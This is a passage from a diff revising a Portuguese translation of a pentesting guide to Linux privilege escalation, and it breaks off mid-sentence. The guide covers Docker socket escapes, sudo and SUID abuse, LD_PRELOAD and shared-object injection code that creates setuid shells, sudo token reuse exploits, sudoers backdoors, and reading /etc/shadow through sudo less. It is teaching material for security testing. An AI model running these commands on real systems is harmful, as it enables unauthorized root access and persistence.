arquivos que atuam como unix sockets_). Você pode verificar isso com: +Note que pode haver alguns **sockets listening for HTTP** requests (_não me refiro aos arquivos .socket, mas aos arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder a uma requisição HTTP**, então você pode **se comunicar** com ele e talvez **explorar alguma vulnerabilidade**. +Se o socket **responder a uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **exploit some vulnerability**. -### Docker socket gravável +### Socket do Docker Gravável -O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O socket do Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e por membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos se o Docker CLI não estiver disponível. #### **Privilege Escalation with Docker CLI** -Se você tiver acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: +Se você tem acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -These commands allow you to run a container with root-level access to the host's file system. +Esses comandos permitem executar um container com acesso root ao sistema de arquivos do host. -#### **Using Docker API Directly** +#### **Usando a API do Docker Diretamente** -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +Quando o Docker CLI não estiver disponível, o Docker socket ainda pode ser manipulado usando a API do Docker e comandos `curl`. 1. **List Docker Images:** Retrieve the list of available images. @@ -534,31 +558,31 @@ Connection: Upgrade Upgrade: tcp ``` -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +Depois de estabelecer a conexão com `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. -### Others +### Outros -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que, se você tem permissões de escrita sobre o docker socket porque está **no grupo `docker`**, você tem [**mais formas de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API estiver escutando em uma porta** você também poderá comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Check **more ways to break out from docker or abuse it to escalate privileges** in: +Confira **mais maneiras de escapar do docker ou abusá-lo para escalar privilégios** em: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) escalada de privilégios -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Se você descobrir que pode usar o comando **`ctr`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** escalada de privilégios -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Se você descobrir que pode usar o comando **`runc`**, leia a página a seguir, pois **pode ser possível abusar dele para escalar privilégios**: {{#ref}} @@ -567,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado **sistema de comunicação entre processos (IPC)** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece um framework robusto para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado sistema de Comunicação Inter-Processos (IPC) que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, de forma semelhante a **enhanced UNIX domain sockets**. Além disso, auxilia na emissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um reprodutor de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicações, racionalizando processos que tradicionalmente eram complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscente de **sockets de domínio UNIX aprimorados**. Além disso, auxilia na transmissão de eventos ou sinais, favorecendo a integração suave entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, D-Bus oferece um sistema de objetos remotos, simplificando pedidos de serviço e invocações de métodos entre aplicações, racionalizando processos que tradicionalmente eram complexos. -D-Bus opera em um **modelo allow/deny**, gerenciando permissões de mensagens (chamadas de método, emissão de sinais, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, podendo permitir escalada de privilégios através da exploração dessas permissões. +O D-Bus opera num **modelo allow/deny**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo das regras de política correspondentes. Essas políticas especificam interações com o bus, potencialmente permitindo escalada de privilégios através da exploração dessas permissões. Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado se aplicam de forma universal, enquanto políticas de contexto "default" se aplicam a todos que não são cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado aplicam-se universalmente, enquanto políticas de contexto "default" aplicam-se a todos não cobertos por outras políticas específicas. ```xml @@ -584,7 +608,7 @@ Políticas sem um usuário ou grupo especificado se aplicam de forma universal, ``` -**Aprenda como enumerate e exploit uma comunicação D-Bus aqui:** +**Aprenda como enumerar e explorar uma comunicação D-Bus aqui:** {{#ref}} @@ -593,9 +617,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rede** -É sempre interessante enumerate a rede e descobrir a posição da máquina. +É sempre interessante enumerar a rede e descobrir a posição da máquina. -### Genérica enumeration +### Enumeração genérica ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -627,15 +651,15 @@ Sempre verifique os serviços de rede em execução na máquina com os quais voc ``` ### Sniffing -Verifique se você consegue sniff traffic. Se conseguir, pode ser possível capturar algumas credentials. +Verifique se você pode sniff tráfego. Se conseguir, poderá capturar algumas credentials. ``` timeout 1 tcpdump ``` -## Usuários +## Users -### Enumeração Genérica +### Generic Enumeration -Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem **fazer login** e quais têm **privilégios de root**: +Verifique **who** você é, quais **privileges** você tem, quais **users** estão nos sistemas, quais podem fazer **login** e quais têm **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -657,14 +681,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID alto -Algumas versões do Linux foram afetadas por um bug que permite a usuários com **UID > INT_MAX** elevar privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -Explorar usando: **`systemd-run -t /bin/bash`** +Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupos -Verifique se você é **membro de algum grupo** que possa conceder privilégios root: +Verifique se você é **membro de algum grupo** que possa lhe conceder privilégios de root: {{#ref}} @@ -690,22 +714,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **souber qualquer senha** do ambiente, **tente fazer login como cada usuário** usando a senha. +Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuário** usando a senha. ### Su Brute -Se você não se importar em gerar muito ruído e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-forcear usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-forcear usuários. +Se não se importa em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar brute-force em usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta brute-force em usuários. -## Abusos no PATH gravável +## Abusos de PATH gravável ### $PATH -Se você descobrir que pode **escrever em alguma pasta do $PATH** pode ser capaz de escalar privilégios **criando uma backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não seja carregado a partir de uma pasta que esteja antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** pode ser capaz de escalar privilégios ao **criar um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não seja carregado a partir de uma pasta localizada antes** da sua pasta gravável no $PATH. -### SUDO and SUID +### SUDO e SUID -Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o bit suid. Verifique isso usando: +Você pode ter permissão para executar algum comando usando sudo ou eles podem ter o suid bit. Verifique usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -721,13 +745,13 @@ less>! ``` ### NOPASSWD -A configuração do sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem saber a senha. +A configuração do Sudo pode permitir que um usuário execute algum comando com os privilégios de outro usuário sem conhecer a senha. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Neste exemplo o usuário `demo` pode executar `vim` como `root`, agora é trivial obter um shell adicionando uma chave ssh no diretório root ou chamando `sh`. +Neste exemplo, o usuário `demo` pode executar `vim` como `root`. Agora é trivial obter um shell adicionando uma ssh key ao diretório root ou chamando `sh`. ``` sudo vim -c '!sh' ``` @@ -739,13 +763,13 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este exemplo, **baseado na HTB machine Admirer**, estava **vulnerável** a **PYTHONPATH hijacking** para carregar uma biblioteca python arbitrária ao executar o script como root: +Este exemplo, **baseado na máquina HTB Admirer**, estava **vulnerável** a **PYTHONPATH hijacking**, permitindo carregar uma biblioteca Python arbitrária ao executar o script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo contornando caminhos de execução +### Caminhos para contornar a execução do sudo -**Pule** para ler outros arquivos ou use **symlinks**. Por exemplo no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** para ler outros arquivos ou usar **symlinks**. Por exemplo, no arquivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -764,41 +788,41 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Comando sudo/Binário SUID sem caminho do comando -Se a **permissão sudo** for concedida a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH +Se a **permissão sudo** for dada a um único comando **sem especificar o caminho**: _hacker10 ALL= (root) less_ você pode explorá-la alterando a variável PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica também pode ser usada se um binário **suid** **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**). +Essa técnica também pode ser usada se um **suid** binário **executa outro comando sem especificar o caminho para ele (sempre verifique com** _**strings**_ **o conteúdo de um binário SUID estranho)**). [Payload examples to execute.](payloads-to-execute.md) ### Binário SUID com caminho do comando -Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **export a function** nomeada como o comando que o arquivo suid está chamando. +Se o binário **suid** **executa outro comando especificando o caminho**, então, você pode tentar **exportar uma função** com o nome do comando que o arquivo suid está chamando. -Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você tem que tentar criar a função e export it: +Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_ você deve tentar criar a função e exportá-la: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Então, quando você chamar o binário suid, esta função será executada +Então, quando você chamar o binário suid, essa função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais shared libraries (.so files) a serem carregadas pelo loader antes de todas as outras, incluindo a standard C library (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. -No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições: +No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, especialmente com executáveis **suid/sgid**, o sistema aplica certas condições: -- O loader desconsidera **LD_PRELOAD** para executáveis onde o real user ID (_ruid_) não corresponde ao effective user ID (_euid_). -- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também são suid/sgid são pré-carregadas. +- O loader desconsidera **LD_PRELOAD** para executáveis onde o ID real do usuário (_ruid_) não coincide com o ID efetivo do usuário (_euid_). +- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. -A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +A elevação de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Salve como **/tmp/pe.c** +Salvar como **/tmp/pe.c** ```c #include #include @@ -816,12 +840,12 @@ Então **compile-o** usando: cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** executando +Finalmente, **escalate privileges** em execução ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc similar pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH**, pois ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc semelhante pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH**, porque ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -843,13 +867,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando encontrar um binary com **SUID** permissions que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Ao encontrar um binário com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere uma possibilidade de exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere potencial para exploração. -Para explorar isso, cria-se um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: +Para explorar isso, crie um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c #include #include @@ -860,13 +884,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, uma vez compilado e executado, tem como objetivo elevate privileges manipulando permissões de arquivos e executando uma shell com elevated privileges. +Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando as permissões de arquivos e executando um shell com privilégios elevados. -Compile o arquivo C acima em um arquivo shared object (.so) com: +Compile o arquivo C acima em um shared object (.so) com: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, executar o binário SUID afetado deve acionar o exploit, permitindo possível comprometimento do sistema. +Finalmente, executar o binário SUID afetado deve acionar o exploit, permitindo um possível comprometimento do sistema. ## Shared Object Hijacking ```bash @@ -878,7 +902,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um binário SUID que carrega uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: +Agora que encontramos um SUID binary carregando uma library de uma pasta onde podemos escrever, vamos criar a library nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -899,9 +923,9 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando. -O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritas, escalar ou manter privilégios elevados, transferir arquivos, iniciar bind and reverse shells, e facilitar outras tarefas de post-exploitation. +O projeto reúne funcionalidades legítimas de binários Unix que podem ser abusadas para break out restricted shells, escalar ou manter privilégios elevados, transferir arquivos, spawn bind and reverse shells, e facilitar outras tarefas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -920,24 +944,24 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você consegue acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra alguma forma de explorar regras do sudo. +Se você puder acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra alguma forma de explorar alguma regra do sudo. -### Reusing Sudo Tokens +### Reutilizando tokens do sudo -Em casos onde você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestrando o token de sessão. +Em casos em que você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestrando o token da sessão. Requisitos para escalar privilégios: - Você já tem um shell como usuário "_sampleuser_" -- "_sampleuser_" tem **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem introduzir qualquer senha) -- `cat /proc/sys/kernel/yama/ptrace_scope` é 0 -- `gdb` está acessível (você pode conseguir enviá-lo) +- "_sampleuser_" tenha **used `sudo`** para executar algo nos **últimos 15mins** (por padrão essa é a duração do token sudo que nos permite usar `sudo` sem inserir nenhuma senha) +- `cat /proc/sys/kernel/yama/ptrace_scope` seja 0 +- `gdb` esteja acessível (você possa enviá-lo) (Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o sudo token na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): +- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -948,22 +972,22 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) **criará um sudoers file** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** +- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna **sudo tokens eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro da pasta você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ -Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e você tiver um shell como esse usuário com PID 1234, você pode **obter privilégios de sudo** sem precisar saber a senha fazendo: +Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro da pasta, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um token sudo para um usuário e PID**.\ +Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar conhecer a senha executando: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você puder **ler** esse arquivo você poderá **obter informações interessantes**, e se você puder **escrever** em qualquer arquivo você poderá **escalar privilégios**. +**Se** você puder **ler** esse arquivo, poderá **obter algumas informações interessantes**, e se puder **escrever** qualquer arquivo, será capaz de **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -982,15 +1006,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD. Lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se você sabe que um usuário normalmente se conecta a uma máquina e usa `sudo` para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo sudo executable** que executará seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo path em .bash_profile) para que, quando o usuário executar sudo, seu sudo executable seja executado. +Se souber que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo executável sudo** que vai executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) de modo que, quando o usuário executar sudo, seu executável sudo seja executado. -Note que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Note que se o usuário usar um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1011,12 +1035,12 @@ sudo ls ### ld.so -O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` +O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde as **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá buscar por bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde as **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá buscar bibliotecas dentro de `/usr/local/lib`**. -Se por algum motivo **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada no arquivo de configuração dentro de `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalar privilégios.\ -Confira **como explorar essa má configuração** na página a seguir: +Se por alguma razão **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode conseguir escalar privilégios.\ +Dê uma olhada em **como explorar essa má-configuração** na página a seguir: {{#ref}} @@ -1056,44 +1080,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capabilities +## Capacidades -Linux capabilities fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isso efetivamente divide os privilégios de root **em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Leia a seguinte página para **aprender mais sobre capabilities e como abusar delas**: +Linux capabilities fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os privilégios root **em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Leia a página a seguir para **aprender mais sobre capabilities e como abusar delas**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Permissões de diretório -Em um diretório, o **bit para "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ -O bit **"read"** implica que o usuário pode **listar** os **arquivos**, e o bit **"write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. +Em um diretório, o **bit "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ +O **bit "read"** implica que o usuário pode **listar** os **arquivos**, e o **bit "write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. ## ACLs -Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as tradicionais permissões ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a arquivos ou diretórios, permitindo ou negando direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade assegura um gerenciamento de acesso mais preciso**. Mais detalhes podem ser encontrados [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as permissões tradicionais ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Mais detalhes podem ser encontrados [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Conceda** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: +**Conceda** o usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Obtenha** arquivos com ACLs específicas do sistema: +**Obter** arquivos com ACLs específicas do sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Sessões shell abertas -Em **versões antigas** você pode **hijack** alguma sessão **shell** de outro usuário (**root**).\ -Nas **versões mais recentes** você só poderá **conectar**-se às sessões screen do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. +Em **versões antigas** você pode **hijack** alguma sessão **shell** de um usuário diferente (**root**).\ +Nas **versões mais recentes** você só 